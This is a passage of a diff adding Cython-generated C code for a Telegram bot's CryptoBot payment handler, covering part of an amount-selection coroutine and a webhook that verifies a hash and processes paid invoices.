131, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 131, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_15 = __Pyx_PyUnicode_Concat(__pyx_kp_u__17, __pyx_t_13); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 131, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = NULL; + __pyx_t_6 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_12))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_12); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_12); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_12, function); + __pyx_t_6 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_13, __pyx_t_15}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_12, __pyx_callargs+1-__pyx_t_6, 1+__pyx_t_6); + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 131, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + } + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + + /* "handlers/payments/cryprobot_pay.py":130 + * else: + * await callback_query.message.answer(" .") + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L33; + } + __pyx_L32_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_22, &__pyx_t_23); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20) < 0)) __Pyx_ErrFetch(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __pyx_t_10 = __pyx_lineno; __pyx_t_16 = __pyx_clineno; __pyx_t_17 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_22, __pyx_t_23); + } + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ErrRestore(__pyx_t_18, __pyx_t_19, __pyx_t_20); + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __pyx_lineno = __pyx_t_10; __pyx_clineno = __pyx_t_16; __pyx_filename = __pyx_t_17; + goto __pyx_L19_except_error; + } + __pyx_L33:; + } + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + goto __pyx_L18_exception_handled; + } + goto __pyx_L19_except_error; + + /* "handlers/payments/cryprobot_pay.py":110 + * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_crypto) + * + * try: # <<<<<<<<<<<<<< + * invoice = await crypto.create_invoice( + * asset="USDT", + */ + __pyx_L19_except_error:; + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_ExceptionReset(__pyx_t_9, __pyx_t_8, __pyx_t_7); + goto __pyx_L1_error; + __pyx_L18_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_ExceptionReset(__pyx_t_9, __pyx_t_8, __pyx_t_7); + __pyx_L22_try_end:; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/cryprobot_pay.py":90 + * + * + * @router.callback_query(F.data.startswith("crypto_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_15); + __Pyx_AddTraceback("process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/cryprobot_pay.py":134 + * + * + * async def cryptobot_webhook(request): # <<<<<<<<<<<<<< + * try: + * if not check_hash(request): + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_7cryptobot_webhook(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13cryprobot_pay_7cryptobot_webhook = {"cryptobot_webhook", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13cryprobot_pay_7cryptobot_webhook, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_7cryptobot_webhook(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_request = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("cryptobot_webhook (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_request,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_request)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 134, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "cryptobot_webhook") < 0)) __PYX_ERR(0, 134, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_request = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("cryptobot_webhook", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 134, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.cryptobot_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13cryprobot_pay_6cryptobot_webhook(__pyx_self, __pyx_v_request); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_6cryptobot_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("cryptobot_webhook", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 134, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_request = __pyx_v_request; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_request); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_request); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2, __pyx_codeobj__18, (PyObject *) __pyx_cur_scope, __pyx_n_s_cryptobot_webhook, __pyx_n_s_cryptobot_webhook, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 134, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.cryptobot_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + unsigned int __pyx_t_7; + int __pyx_t_8; + int __pyx_t_9; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + int __pyx_t_12; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + char const *__pyx_t_16; + PyObject *__pyx_t_17 = NULL; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("cryptobot_webhook", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L11_resume_from_await; + case 2: goto __pyx_L13_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 134, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":135 + * + * async def cryptobot_webhook(request): + * try: # <<<<<<<<<<<<<< + * if not check_hash(request): + * logger.warning( + */ + { + __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_3); + /*try:*/ { + + /* "handlers/payments/cryprobot_pay.py":136 + * async def cryptobot_webhook(request): + * try: + * if not check_hash(request): # <<<<<<<<<<<<<< + * logger.warning( + * " hash cryptobot" + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_check_hash); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 136, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_cur_scope->__pyx_v_request}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 136, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_t_4); if (unlikely((__pyx_t_8 < 0))) __PYX_ERR(0, 136, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_9 = (!__pyx_t_8); + if (__pyx_t_9) { + + /* "handlers/payments/cryprobot_pay.py":137 + * try: + * if not check_hash(request): + * logger.warning( # <<<<<<<<<<<<<< + * " hash cryptobot" + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 137, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_warning); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 137, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_kp_u_hash_cryptobot}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 137, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/cryprobot_pay.py":140 + * " hash cryptobot" + * ) + * return web.Response(status=400) # <<<<<<<<<<<<<< + * + * data = await request.json() + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_web); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 140, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Response); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 140, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 140, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 140, __pyx_L4_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 140, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + goto __pyx_L8_try_return; + + /* "handlers/payments/cryprobot_pay.py":136 + * async def cryptobot_webhook(request): + * try: + * if not check_hash(request): # <<<<<<<<<<<<<< + * logger.warning( + * " hash cryptobot" + */ + } + + /* "handlers/payments/cryprobot_pay.py":142 + * return web.Response(status=400) + * + * data = await request.json() # <<<<<<<<<<<<<< + * logger.info(f" : {data}") + * if data.get("update_type") == "invoice_paid": + */ + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_json); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 142, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 142, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L11_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 142, __pyx_L4_error) + __pyx_t_5 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_5); + } else { + __pyx_t_5 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_5) < 0) __PYX_ERR(0, 142, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + } + __Pyx_GIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_v_data = __pyx_t_5; + __pyx_t_5 = 0; + + /* "handlers/payments/cryprobot_pay.py":143 + * + * data = await request.json() + * logger.info(f" : {data}") # <<<<<<<<<<<<<< + * if data.get("update_type") == "invoice_paid": + * await process_crypto_payment(data["payload"]) + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_logger); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 143, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_info); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 143, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_data, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 143, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_10 = __Pyx_PyUnicode_Concat(__pyx_kp_u__19, __pyx_t_4); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 143, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_t_10}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 143, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/cryprobot_pay.py":144 + * data = await request.json() + * logger.info(f" : {data}") + * if data.get("update_type") == "invoice_paid": # <<<<<<<<<<<<<< + * await process_crypto_payment(data["payload"]) + * return web.Response(status=200) + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 144, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_10 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_10)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_10); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_10, __pyx_n_u_update_type}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 144, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_t_9 = (__Pyx_PyUnicode_Equals(__pyx_t_5, __pyx_n_u_invoice_paid, Py_EQ)); if (unlikely((__pyx_t_9 < 0))) __PYX_ERR(0, 144, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (__pyx_t_9) { + + /* "handlers/payments/cryprobot_pay.py":145 + * logger.info(f" : {data}") + * if data.get("update_type") == "invoice_paid": + * await process_crypto_payment(data["payload"]) # <<<<<<<<<<<<<< + * return web.Response(status=200) + * else: + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_process_crypto_payment); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 145, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_10 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_data, __pyx_n_u_payload); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 145, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_4 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_t_10}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + 